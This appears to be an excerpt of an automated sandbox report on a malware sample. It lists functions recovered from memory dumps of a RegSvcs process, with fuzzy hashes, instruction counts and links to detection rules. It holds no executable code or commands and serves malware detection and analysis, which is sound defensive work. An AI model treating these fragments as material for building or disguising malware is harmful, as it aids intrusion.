Opcode Fuzzy Hash: 91ce65636137515125266e8207402fd4e6a2692e5f201c2de80703e692d59461
Instruction Fuzzy Hash: B1924534E002148FDB64EB68C588A9DB7F2FB84319F54C4A9E409AB365DB75ED81CF90

Function 065466C0 Relevance: .8, Instructions: 819COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e33d02ba83b01106b3cedd520f2327c1f50305d984f0b24e02010da98ad156df
Instruction ID: 4da508a8db3199eb6532bc657c5cec1097fa8938d8701b4a2ae10f3ba92fe0c7
Opcode Fuzzy Hash: e33d02ba83b01106b3cedd520f2327c1f50305d984f0b24e02010da98ad156df
Instruction Fuzzy Hash: 89627D34A00205CFDB54EB69D994BADB7F2FF89318F1484A9E406AB355DB35EC41CB90

Function 0654C238 Relevance: .6, Instructions: 650
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ed7a2628640cb8d18653d44b0623b2fcc163b46a853705279dd1192332349bb
Instruction ID: 1fafb7c35186db2e50d70c0334ca548b2553e5e1cf4836ed8ccc5897d916775e
Opcode Fuzzy Hash: 2ed7a2628640cb8d18653d44b0623b2fcc163b46a853705279dd1192332349bb
Instruction Fuzzy Hash: 80328D34B012098FDF54EBA8E890BAEB7B2FBC8718F108569E505EB355DB35DC418B91

Function 0654B2E8 Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca93e7e7e3c0b20b1caed7a2642b8442913b3737af7433ddc82f01cda1a959e5
Instruction ID: 3112a735eebfedd279c60b5f4cd38d3070c6cf3accb4eb687eab4480ad74f9f7
Opcode Fuzzy Hash: ca93e7e7e3c0b20b1caed7a2642b8442913b3737af7433ddc82f01cda1a959e5
Instruction Fuzzy Hash: 3E226030E102098BEF64EB6DD494BADB7B2FB89318F648466E405EB391DA35DC81CF51

Function 06543138 Relevance: .5, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb707accd266af231016047196777769cfeff868ff24e17dab820dce93d033da
Instruction ID: 2a09767b6f818cd6c96d94f0baaba18609ee0a59787fd7fe4a99bfbc9ffed874
Opcode Fuzzy Hash: fb707accd266af231016047196777769cfeff868ff24e17dab820dce93d033da
Instruction Fuzzy Hash: 6D322D35E1071ACBDB14EF75C85469DB7B2BFC9304F20C6A9D449A7224EF31AA85CB90

Function 06547E48 Relevance: .5, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72149275eb295820975ce3a8c86608d914928726cd6c90c82de73c19e5581001
Instruction ID: a4732765db34e06adef8b995e981584a6bbbfe6ac6bff55ed58f7eec1e77b916
Opcode Fuzzy Hash: 72149275eb295820975ce3a8c86608d914928726cd6c90c82de73c19e5581001
Instruction Fuzzy Hash: AF028E30B002099FDB54EB78D894BAEB7B2FF84318F148569E505AB355DB35ED42CB90

Function 0654AD90 Relevance: 2.9, Strings: 2, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dM, xrefs: 0654B242
dM, xrefs: 0654B161

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID: dM$dM
API String ID: 0-2801238145
Opcode ID: 7b6686502004b4ae2ce71ed377fd91e1a787ad17afeedf0d4587ca6095da1a0d
Instruction ID: 76216cec6ac6af4e64c8bc36fe8d5da7a2f6a405cd2f09c584dd307b63a69b8b
Opcode Fuzzy Hash: 7b6686502004b4ae2ce71ed377fd91e1a787ad17afeedf0d4587ca6095da1a0d
Instruction Fuzzy Hash: 13E17E30E1030A9BDF64EFA8D8906AEB7B2BF85304F108569E405EB354DB71DC41CB90

Function 00F9EC28 Relevance: 1.6, APIs: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1481867161.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3375095fd41f225fc0bb61d9120eff1c854f78c8a44ee1ed80b53581f83d0221
Instruction ID: 3b13fbcc3001a705497f090e0aefe97708a11c5702ab8c8c63703cb24b1fcd8a
Opcode Fuzzy Hash: 3375095fd41f225fc0bb61d9120eff1c854f78c8a44ee1ed80b53581f83d0221
Instruction Fuzzy Hash: 4A412572D043959FDB14CFB9E8047AABFF5AF89210F0585AAE448E7241DB749884CBE1

Function 00F9ED10 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 00F9ED77

Memory Dump Source

Source File: 0000000A.00000002.1481867161.0000000000F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: c9a6c4f7c5706504b9d303ce42313daf78d803a9a30c87e1c0a4a7b8b349c8de
Instruction ID: 2289ad550d87c3094c7097d95aa084e6cf0cf10b09d21b8146c9a89248ed514b
Opcode Fuzzy Hash: c9a6c4f7c5706504b9d303ce42313daf78d803a9a30c87e1c0a4a7b8b349c8de
Instruction Fuzzy Hash: 6211F0B2C00659DBDB10CFAAD444BDEFBF8AF48320F15816AD818A7241D378A954CFA5

Function 0654D000 Relevance: .8, Instructions: 804
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 569f68d4ae475297eac5ae6ed6bb67e8a53aaf6ca251e5984a296e5d7c2de75a
Instruction ID: ec461bac56dc3ef87d90cbad25dc90e72f2318b3cc66241102be7f32effbd799
Opcode Fuzzy Hash: 569f68d4ae475297eac5ae6ed6bb67e8a53aaf6ca251e5984a296e5d7c2de75a
Instruction Fuzzy Hash: 24624E3060060A8FDB55EBB8E591A9DB3F2FF85708B248A69D005DF355EB71ED46CB80

Function 0654B700 Relevance: .5, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71a9a70533a42621c64e0eddbd1a0a0fc319b86da3b03a39383c54c4698d5462
Instruction ID: 67f28d12e437a65b103991de6310adb31ec25b32190a61620ba006a752b9c816
Opcode Fuzzy Hash: 71a9a70533a42621c64e0eddbd1a0a0fc319b86da3b03a39383c54c4698d5462
Instruction Fuzzy Hash: B0025C30E1020A8FDB64EF69D484BADB7B2FF85318F1085AAE405EB251DB35DD41CB91

Function 06549210 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b5126b044b4e026c4c5e41bfd1b6e8bab1934a892d90e6a2aab86748f65ec99
Instruction ID: cc03169eb2facb45e0c1a7525181c23e49ab78203ffa839946997e51ca306471
Opcode Fuzzy Hash: 5b5126b044b4e026c4c5e41bfd1b6e8bab1934a892d90e6a2aab86748f65ec99
Instruction Fuzzy Hash: 62915D30B0061A8BDB54EB69D851BAFB3F2BF89704F5485A9C809EB344EE719D418F91

Function 065462B8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6335acbe6d9aabafa933f50f4aef6c4088d59aea54c707a800e8af3d560666e
Instruction ID: 2d8c15acfea3b0802632ff0d4f0353c8360da6ca3627a3838b075f116559d899
Opcode Fuzzy Hash: b6335acbe6d9aabafa933f50f4aef6c4088d59aea54c707a800e8af3d560666e
Instruction Fuzzy Hash: 0B611471F001214BDF54AB7EC98466FFAEBAFC5224B154079E80ADB360DE65EC028BD1

Function 06544378 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64f90237b6c024ddc68ad97ce13dbf06842292ce53deee0849d8d4ca02e687f9
Instruction ID: 044c46cf3bb523f52585eae68ac4fced47b3e34a5aee547330cc1de58bc9d786
Opcode Fuzzy Hash: 64f90237b6c024ddc68ad97ce13dbf06842292ce53deee0849d8d4ca02e687f9
Instruction Fuzzy Hash: A5814B34B0020A8BDF54EFB9D4547AEB7E2EB89314F148569D40AEB385EB31DC428B91

Function 06544694 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d296c0fbfa25b4d014dc9e70dad719a8cf0d1a7348a85953f0ac8687cc9549
Instruction ID: 1fb722dc9677f8788ef2829319e414c61e332155055b8b56fbf2aa900fdeeb6e
Opcode Fuzzy Hash: 01d296c0fbfa25b4d014dc9e70dad719a8cf0d1a7348a85953f0ac8687cc9549
Instruction Fuzzy Hash: 93916F30E102198FDF60DF68C880B9DB7B1FF89304F208699D549BB245DB71AA86CF90

Function 065446A8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32e24d5b1910e94fd94a5bcbef6fb57ba37a7aef84ecd2c8e47df1fb2de9c749
Instruction ID: 6956da8324172ec7fdeee02d2ac1495f4556ccac9baacfa51086e15379020710
Opcode Fuzzy Hash: 32e24d5b1910e94fd94a5bcbef6fb57ba37a7aef84ecd2c8e47df1fb2de9c749
Instruction Fuzzy Hash: 5C915034E102198BDF60DF68C840B9DB7B1FF89304F208599D549BB345DB71AA86CF90

Function 0654EBC0 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6044c9c9bc5a204979b4bf74328a92168346de7d31ae2463072ef65e3b7ba2b2
Instruction ID: 706ab855b19ba18956fe0ca353afe6ad06200904eccaf8d0a3e9b62c0b11523f
Opcode Fuzzy Hash: 6044c9c9bc5a204979b4bf74328a92168346de7d31ae2463072ef65e3b7ba2b2
Instruction Fuzzy Hash: A6714C30A006099FDB54EFA8D981AADBBF6FF88304F248569E405EB355DB30ED46CB50

Function 0654EBD0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f83a0a01abdde42e85dc25edc158d7a4005013eabc0fb465591250aa2bd301ea
Instruction ID: 2fb23223eeb9042c42f3031a52a0392e90f7134e6be6fb6bee5e180120f80856
Opcode Fuzzy Hash: f83a0a01abdde42e85dc25edc158d7a4005013eabc0fb465591250aa2bd301ea
Instruction Fuzzy Hash: F4712C30A006099FDB54EFA9D981AADBBF6FF88304F248569E405EB355DB30ED46CB50

Function 06544C40 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd34df860cdfbaaf9374f21548ab531489c3f36264151a57f4780b42087ce41
Instruction ID: 3fa3ee5a78a4a3b3cdb566a52c8a32c797c6a15a62e733d6406707e0c88a1750
Opcode Fuzzy Hash: cfd34df860cdfbaaf9374f21548ab531489c3f36264151a57f4780b42087ce41
Instruction Fuzzy Hash: 1E618170F002099FEB54ABB5C8547AEBBF6FF88704F20842AE106AB395DF754D458B90

Function 0654FD30 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d6e2504557b70f24c975aa7b48910954adb9c2f70d2d9e98415d80387e0b6f
Instruction ID: 65229c124564715eb816e3b1edcabc5c51c02967c797e97b4359f7c7d7f935d1
Opcode Fuzzy Hash: 34d6e2504557b70f24c975aa7b48910954adb9c2f70d2d9e98415d80387e0b6f
Instruction Fuzzy Hash: AA51B131E0110ADFDB64EB7CE8846ADB7B2FFC9319F1188AAE106D7251DB318855CB90

Function 06549200 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d10fc5e241ec599d752bc7c66068d5c16b6be3defc9fe8b7cfa116faf92735e7
Instruction ID: 6ecb5746632b3afc4b1da5f417e9ce1bf83927b12a617116c798fb99b60aeda3
Opcode Fuzzy Hash: d10fc5e241ec599d752bc7c66068d5c16b6be3defc9fe8b7cfa116faf92735e7
Instruction Fuzzy Hash: C8514C31B002059BDB54EB78D861BBFB3F6FB88744F54856AD809EB344EE319C418B91

Function 0654FADF Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02b74aaffee10fcf489f67a2f4e5bbefec88ba62fc8dc2b0b06dba96ecf837c
Instruction ID: 4b1f449505d87b2ae8e553d7df9ed73fd6a5eac9e10e20cb3f933ec957745868
Opcode Fuzzy Hash: a02b74aaffee10fcf489f67a2f4e5bbefec88ba62fc8dc2b0b06dba96ecf837c
Instruction Fuzzy Hash: 1851A830B102088BEF5476BCE85476F375AEBCA708F20456AE50BD7395CE39CC418BA2

Function 0654FAF0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 126a5a06636e0acfb450ee1cfddbb4a3b7c396afe8707bb6c83bb51a79bd7972
Instruction ID: a5ff53af6e0a22d57f62714efa0a52bd9e4830500d469ee4ea1469c5e00987b2
Opcode Fuzzy Hash: 126a5a06636e0acfb450ee1cfddbb4a3b7c396afe8707bb6c83bb51a79bd7972
Instruction Fuzzy Hash: B9519730B102188BFFA476ACE85476F325AE7CA718F604426E50BD7395CF39CC418BA2

Function 06544C31 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eae73b41a087b0568c8a324b96abaa886c157da208d4adb738024b31447edde
Instruction ID: fbd34b4c139f5d1535e795e591a1c8c2c083f93c4e0668e6f4ca8b3822113cac
Opcode Fuzzy Hash: 7eae73b41a087b0568c8a324b96abaa886c157da208d4adb738024b31447edde
Instruction Fuzzy Hash: 57417274E102089FEB549BB5C814BAEBAF6FFC8700F20C529E506AB395DE755C058B90

Function 065454E8 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfca214f45cbdb8f5b5be6d2123506e26d0e77146331ebe34ffd80f45be08c34
Instruction ID: 4762a480dc1e21bc281a0749bf08cdd971a91018b3fe8598a90ed14c41db1425
Opcode Fuzzy Hash: bfca214f45cbdb8f5b5be6d2123506e26d0e77146331ebe34ffd80f45be08c34
Instruction Fuzzy Hash: 23419F71E006098FDF70DEA9D880ABFFBB2FB85214F10496AE156D7250E630A945CF91

Function 0654DB75 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e0ab62013e637d0a4cd846fa1a90540d517a9e9171790112ed4cb797ec4df1d
Instruction ID: 0746061dcfa725457fa6e8218f8f678054cb30445ad160645880eaa6e8c1604d
Opcode Fuzzy Hash: 2e0ab62013e637d0a4cd846fa1a90540d517a9e9171790112ed4cb797ec4df1d
Instruction Fuzzy Hash: 17417230E00609DFDB64EFB5D84469EBBB6BF85748F10866AE405E7240DB719941CF91

Function 065422B0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca666cde83cc937f01b2c82bb35d84d91ad7df2c123e0b29a8abe45656624236
Instruction ID: 8dc64bd7b0c4d0d63ad1cf48910338dcbee792d79703bc67873feb13406e95c3
Opcode Fuzzy Hash: ca666cde83cc937f01b2c82bb35d84d91ad7df2c123e0b29a8abe45656624236
Instruction Fuzzy Hash: 8031B030B0021A8FDB58AB78D8147AE77E2BB88614F208569E406EB355DF35DD42CB91

Function 06542160 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a38c853ef4731653bb72b753824b65b59e42685538207fbc4d6a49ece0fe3f8e
Instruction ID: 15815ed3515192c670e09b7c041afa6959d47f171491b55dfec39572af5ce712
Opcode Fuzzy Hash: a38c853ef4731653bb72b753824b65b59e42685538207fbc4d6a49ece0fe3f8e
Instruction Fuzzy Hash: E331D235E102199BDB15DF64D894A9EBBB2BF88300F10C529F906E7340DB71AC42CB90

Function 06545660 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc41d90806d01fa580419b6c4ecb799fe7a8cf6b6307326e3521d379340e08ca
Instruction ID: 816986b3d5fe65c6d16568a7d287ae2031dea5ef956af04bc3012004044e4067
Opcode Fuzzy Hash: cc41d90806d01fa580419b6c4ecb799fe7a8cf6b6307326e3521d379340e08ca
Instruction Fuzzy Hash: 7E319235E002058FEF609FA8C880A6EBBB1FB45314F10C86AE555D7252D635D941DF91

Function 06542170 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 934ffe22d136e38006f0353b59942b04ed2520142a19d4a92cc6df3cdaa6a39c
Instruction ID: bd364bee674ce1075714d608712fa7e5cfbbe19f52b6d73c6889fa7b77cae2aa
Opcode Fuzzy Hash: 934ffe22d136e38006f0353b59942b04ed2520142a19d4a92cc6df3cdaa6a39c
Instruction Fuzzy Hash: 47318E35E1021A9BDB58DFA5D894A9EB7B2BF89304F10C529F906E7340DB71AD42CB90

Function 06543B79 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6093107982b062daada8161f407d926467d59ba9f1c615e429d12e8972cfa160
Instruction ID: c360e39599ad1ab5ddfea44f3cd8e8b5b53b14cfd861a6e7219e96815e75c6df
Opcode Fuzzy Hash: 6093107982b062daada8161f407d926467d59ba9f1c615e429d12e8972cfa160
Instruction Fuzzy Hash: CA21A935E106159FDB50EF7AE840BAEBBF5FB88704F108065E804EB390E735D8008B90

Function 06543B88 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ccdfe6bae642e4a3618460ce4ab87edfd973298d831467cb1e53dc8fb25d59
Instruction ID: 47780c4abbe8af2f9abdcaef596dadc040ae370a6269130d0073b870c0db0ca9
Opcode Fuzzy Hash: 81ccdfe6bae642e4a3618460ce4ab87edfd973298d831467cb1e53dc8fb25d59
Instruction Fuzzy Hash: 90217A75E006159FDB50EFBAD880BAEBBF5FB88714F108069E905E7394E735D9008B90

Function 06543C98 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c581bc0b70b7302e3c072b2cf08f73b6d61daa97a1244565e37c927b1bece1bb
Instruction ID: 6f8d6a75f952655e47c195e697db840a3f90d2411b70785f653b849e65ca71c9
Opcode Fuzzy Hash: c581bc0b70b7302e3c072b2cf08f73b6d61daa97a1244565e37c927b1bece1bb
Instruction Fuzzy Hash: BE11E132B101248BCF54AA79D8146BE73EBEBC8704F048479D50AEB354DE25CC028BD0

Function 06543951 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbeed6b3a431c9883f375061b90184a86d8af17c7c2e217d3ed32a8c65bca494
Instruction ID: 0f4fc395b74bf38953f71824683b005ae7a6b9d3a53b0a9c98a81a65d56fbd71
Opcode Fuzzy Hash: bbeed6b3a431c9883f375061b90184a86d8af17c7c2e217d3ed32a8c65bca494
Instruction Fuzzy Hash: 8D21E3B5D01219AFCB00DF9AE885ADEFBB4FB48324F10826AE518A7250C7756944CFA5

Function 0654A3CA Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79a07558cf4d21ea12622856b76a486732e3d1ea70164090e1a769179cf8054b
Instruction ID: ddaa6a3d2b9b7a111a2770caa7a2e5ceff82bc2dbfd57d718d05ad3a45ae7548
Opcode Fuzzy Hash: 79a07558cf4d21ea12622856b76a486732e3d1ea70164090e1a769179cf8054b
Instruction Fuzzy Hash: 7D012830B015140FC7A8A638D855B5F37D5EB85788F00C469F54AC7345EE21DC018BD1

Function 065442D8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0a61efc4dc8bde63646f46815eaaa43bb8216a689fded5e834e0f882a85dcb3
Instruction ID: 0a8a0373c1fda71b348b1e26b47fb4cbd5c85dddfbb39955175a40e1510deded
Opcode Fuzzy Hash: d0a61efc4dc8bde63646f46815eaaa43bb8216a689fded5e834e0f882a85dcb3
Instruction Fuzzy Hash: 6501FC35B041004BDB64A67DA820B6EBACAEBC9B14F1484BEE10AC7346ED61DC4247D6

Function 06543C89 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0310edb7db9db2a59fb89a349999dde834076d4bbc7a5316d81d0b7cb2fba8d7
Instruction ID: e544725d521d8746eaf9f91e170fe8d978e885b6b37cde2121ea22ede8423ec7
Opcode Fuzzy Hash: 0310edb7db9db2a59fb89a349999dde834076d4bbc7a5316d81d0b7cb2fba8d7
Instruction Fuzzy Hash: C301B136B101245BDB55A67ADC14AFB76EBEBC8704F44403AD10AD7354DA61CC0247D1

Function 0654EE3F Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1489439937.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6540000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
